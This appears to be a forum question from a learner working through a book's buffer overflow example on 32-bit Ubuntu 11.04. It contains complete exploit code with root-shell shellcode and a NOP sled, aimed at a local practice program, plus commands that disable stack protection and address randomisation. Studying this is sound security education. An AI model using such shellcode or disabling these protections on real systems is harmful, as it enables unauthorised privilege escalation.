title: Disabling Stack Smashing Protection in Ubuntu 11.04
body: <p>I'm running 32-bit Ubuntu 11.04 on a 2007 MacBook, and I'm just starting to learn about buffer overflow exploits. I'm trying to run the example programs from a book, but Ubuntu's security measures are making it impossible for me to successfully execute a buffer overflow. Here's the code I'm attempting to run: </p>
  
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  #include &lt;string.h&gt;
  char shellcode[]= 
  "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
  "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
  "\xe1\xcd\x80";
  
  int main(int argc, char *argv[]) {
     unsigned int i, *ptr, ret, offset=270;
     char *command, *buffer;
  
     command = (char *) malloc(200);
     bzero(command, 200); // zero out the new memory
  
     strcpy(command, "./notesearch \'"); // start command buffer
     buffer = command + strlen(command); // set buffer at the end
  
     if(argc &gt; 1) // set offset
        offset = atoi(argv[1]);
  
     ret = (unsigned int) &amp;i - offset; // set return address
  
     for(i=0; i &lt; 160; i+=4) // fill buffer with return address
        *((unsigned int *)(buffer+i)) = ret;
     memset(buffer, 0x90, 60); // build NOP sled
     memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 
  
     strcat(command, "\'");
  
     system(command); // run exploit
     free(command);
  }
  </code></pre>
  
  <p>I would like this code to result in a segfault, but every time I run it, it quits with the error "stack smashing detected". I've tried compiling (using gcc) with the following options:</p>
  
  <pre><code>-fno-stack-protector -D_FORTIFY_SOURCE=0 -z execstack
  </code></pre>
  
  <p>in various combinations, as well as all together. I've also tried <code>$ sysctl -w kernel.randomize_va_space=0</code> followed by a recompile, with no success. </p>
  
  <p>It would be much appreciated if anyone could shed light on the correct way to execute a buffer overflow, given Ubuntu's built-in security measures</p>